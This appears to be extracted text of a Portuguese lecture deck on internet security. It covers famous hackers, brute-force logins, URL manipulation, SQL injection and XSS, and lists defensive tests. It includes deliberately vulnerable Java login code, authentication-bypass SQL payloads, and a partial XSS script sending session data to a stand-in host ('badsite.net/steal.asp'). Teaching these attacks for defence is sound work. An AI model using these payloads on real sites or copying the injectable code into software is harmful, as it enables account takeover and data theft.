Segurança da Internet. Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro,

(1)

Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013

Segurança da Internet

Ricardo Terra

rterrabh [at] gmail.com

(2)

CV

Nome: Ricardo Terra

Email: rterrabh [at] gmail.com

www: ricardoterra.com.br

Twitter: rterrabh

Lattes: lattes.cnpq.br/ 0162081093970868

Ph.D.

(UFMG/UWaterloo)

,

Post-Ph.D. (INRIA/Université Lille 1)

Background

Acadêmico: UFLA (desde 2014), UFSJ (1 ano), FUMEC (3 anos), UNIPAC (1 ano), FAMINAS (3 anos)

Profissional: DBA Eng. (1 ano), Synos (2 anos), Stefanini (1 ano)

(3)

Segurança de Redes (Histórico)

§  Robert Tappan Morris

§  Primeiro worm (similar a um vírus, porém é um programa

completo, não precisa de um outro programa para se propagar) da Internet

§  O programa principal consistia em menos de 100 linhas de

código em C

§  6.000 computadores infectados, só nos EUA, em 24 horas

§  Efeitos: §  Infecção §  Sobrecarga §  Incapacitação §  Atualmente professor do MIT 3 Segurança da Internet

(4)

Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro, 2012 4

Segurança de Redes (Histórico)

§  Kevin Poulsen

§  primeiro grande hacker da Internet

§  Invadiu, entre outros,

§  a marinha americana

§  diversas Universidades, como UCLA

§  rádio americana KIIS-FM, 102º ligador e ganhava um

Porche 944 S2

§  A partir daí, criou-se a lei americana contra “invasões” em

redes

§  Trabalhou posteriormente

para o governo americano

§  Foi jornalista da SecurityFocus

e atualmente é editor sênior da Wired News

(5)

Segurança de Redes (Histórico)

§  Kevin Mitnick

§  O mais famoso

§  Foi preso e já foi solto

§  Invadiu

§  FBI

§  Universidades, etc

§  Seu ataque foi muito sofisticado e sem

“solução” até os dias atuais §  Utilizava práticas de engenharia social §  Atualmente proprietário da Mitnick Security Consulting

(6)

Segurança de Redes (Histórico)

§  Mais sobre Kevin Mitnick

§  Dos 37 aos 40 anos foi proibido de acessar qualquer meio

de comunicação com exceção de telefone fixo §  Liberdade condicional

(7)

(8)

(9)

(10)

(11)

(12)

Atualmente nas grandes áreas

(13)

Atualmente nas grandes áreas

(14)

Atualmente nas grandes áreas

(15)

Atualmente nas grandes áreas

(16)

(17)

Introdução

§  Os ataques a serviços de rede estão se tornando muito

sofisticados

§  criatividade humana

§  Mas o que falta?

§  APLICAÇÕES! Mas será que é possível?

§  Atualmente a maioria dos BUG’s reportados estão em

aplicações

§  Application Security ≠ Network Security

(18)

Lendas

§  Não há problemas de segurança

§  Até que ela seja violada

§  Erros de runtime (tempo de execução) não são problemas

§  Expõem informações altamente relevantes

§  Consumem recurso do servidor

§  Deve ser tratados

§  Web Services não são vulneráveis

§  Quase nunca testados e raramente a segurança é

considerada §  Solução

(19)

Objetivos

§  Demonstrar alguns desses ataques

§  Pois, para nos protegermos temos de entender as táticas e as

armas de nosso inimigo

(20)

Ataques

§  Força Bruta

§  URL Manipulation

§  SQL Injection

§  XSS Cross Site Scripting

(21)

(22)

Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro, 2012

Força Bruta

§  Tentar todas as possibilidades...

(23)

Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro, 2012

Força Bruta

§  Exemplo Motivador: SINEF

§  Técnicas para evitar

§  Limite de Tentativas

§  Você utilizou 5 tentativas. Usuário bloqueado.

§  Tempo de Ociosidade

§  Você utilizou 5 tentativas. Usuário bloqueado por 30 minutos.!

§  Imagem

(24)

Força Bruta

§ 

Como fazer?

§ 

Descobrir o formulário e o nome do seus campos

§ 

Bolar um algoritmo para gerar todas as combinações

§ 

Ir tentando…

§  Tome cuidado que é possível descobrí-lo pelo seu IP

§  Não use para o mal:

§  www.peladeiro.com.br

§  qualquer outro... deixo com vocês...

(25)

URL Manipulation

§  O método GET do Protocolo HTTP requisita informações

importantes na URL

§  Portanto, os parâmetros podem ser manipulados para se

obter resultados satisfatórios ou, no mínimo, "interessantes" §  O impacto é ALTO

§  Vamos ver um exemplo didádico e procurar alguma brecha

dessas na Internet

(26)

(27)

(28)

URL Manipulation

§  Alguns possíveis testes:

§  Verificar se algum parâmetro é passado via HTTP GET

§  Verificar se os dados sensíveis armazenados no cookie

estão encriptados

§  Verificar que dados sensíveis não são armazenados no

cache

§  Verificar se os dados encriptados estão voltando

corretamente

§  Verificar que além dos parâmetros os campos também estão

(29)

SQL Injection

§  A idéia é injetar um comando SQL ou algum comando como o

valor de entrada de algum campo de um formulário WEB

§  Todos os parâmetros passados são direcionados para o banco

de dados

(30)

SQL Injection

§  Causas:

public boolean onLogon(String nome, String senha){

boolean result = false;

Connection conn = null;

try {

conn = ServiceLocator.getConnection(); Statement st = conn.createStatement(); ResultSet rs =

st.executeQuery("select 1 from USUARIO where NOME = '" + nome

+ "' and SENHA = '" + senha + "'");

result = rs.next(); ... } catch (SQLException e) { ... } finally { ... } return result; }

(31)

SQL Injection

ESPERADO

nome: chaves senha: kiko!

Quando submetido a query será montada como a seguinte:

select 1 from USUARIO !

! !where NOME = 'chaves' and SENHA = 'kiko'

NÃO ESPERADO

nome: abc'-- senha: kiko!

(32)

SQL Injection

ESPERADO

nome: doug senha: f@c01!

! !where NOME = 'doug' and SENHA = 'f@c01'

NÃO ESPERADO

nome: a

senha: b' or 1=1--!

(33)

SQL Injection

§  Além disso, tem como:

§  Identificar campos de uma tabela

§  Verificar se a tabela existe

§  Procurar por usuários

§  Ataques de força bruta

§  Verificar permissões

§  Criar um usuário

§  Alterar dados

§  Determinar qual SGBD e a versão do SGBD

§  Interagir com o S.O.

§  Manipular informações da rede

§  Modificar o registro do Windows

(34)

SQL Injection

§  Alguns testes:

§  Identifique os parâmetros, html e xml tags utilizados na

aplicação web

§  Substitua o conteúdo dos parâmetros por todos caracteres

utilizados em um ataque de injeção de SQL

§  Verifique que as queries foram substituídas por stored

procedures

§  Verificar se as mensagens de erro fornecem alguma

informação

§  Verifique que os usuários da aplicação web tem o menor

nível de acessibilidade possível no banco de dados

(35)

SQL Injection

§  Verificar se todos os campos do formulário estão sendo

validados

§  Verificar se existe limite para uploads

§  Verificar que a aplicação não aceita: dados binários,

caracteres de comentário etc §  etc

(36)

XSS Cross Site Scripting

§  É uma vulnerabilidade tipicamente encontrada em aplicações

web que permitem injeção de código por usuários maliciosos em páginas vistas por outros usuários

§  Exemplos de tais códigos são código HTML e scripts executados

no lado do cliente (JavaScript, por exemplo)

§  Uma exploração comum é utilizar uma vulnerabilidade de

(37)

XSS Cross Site Scripting

§  Não existe a ligação entre o ID do login e o ID da sessão

§  A sessão do usuário pode ser roubada

§  A ideia é obter de alguma forma o ID da sessão

§  Impacto é alto

§  Pois, o usuário malicioso tem TODOS os privilégios do

(38)

(39)

XSS Cross Site Scripting

§  Um exemplo:

§  Pode se receber um e-mail com um link

§  O resultado é enviado para um site

http://www.mymail.com?

search="<script>window.navigate("http://

badsite.net/steal.asp?

(40)

XSS Cross Site Scripting

§  Solução:

§  Sempre valide a sessão com login e os parâmetros críticos

§  Como IP da máquina de origem e, até mesmo, o

endereço MAC da máquina do cliente §  Alguns testes:

§  Verificar os posts disponíveis na aplicação

§  Verificar que as sessões são sempre verificadas

§  Verificar os cookies não proveem dados sensíveis

§  Verificar que não é possível executar outro script dentro da

(41)

Considerações Finais

§  Não há segurança de sistemas sem a conjunção de três fatores

§  Boas praticas de codificação

§  Metodologia adequada (projeto, arquitetura etc)

(42)

Dúvidas?

(43)

Ricardo Terra

rterrabh@gmail.com

Apresentação disponível em:

www.ricardoterra.com.br/palestras

Principais referências bibliográficas:

ASSAD, Rodrigo. Testando Segurança em aplicações WEB. Recife: III Encontro Brasileiro de Testes de Software, 2008.

SILBERSCHATZ. A.; KORTH, H. F.; SUDARSHAN, S. Sistemas

de bancos de dados. Tradução de Daniel Vieira. Rio de Janeiro:

Editora Campus, 2006. Título original: Database system concepts. 5 ed.

Obrigado!

(44)

Outras referências bibliográficas

§  http://en.wikipedia.org/wiki/Robert_Tappan_Morris

§  http://en.wikipedia.org/wiki/Kevin_Poulsen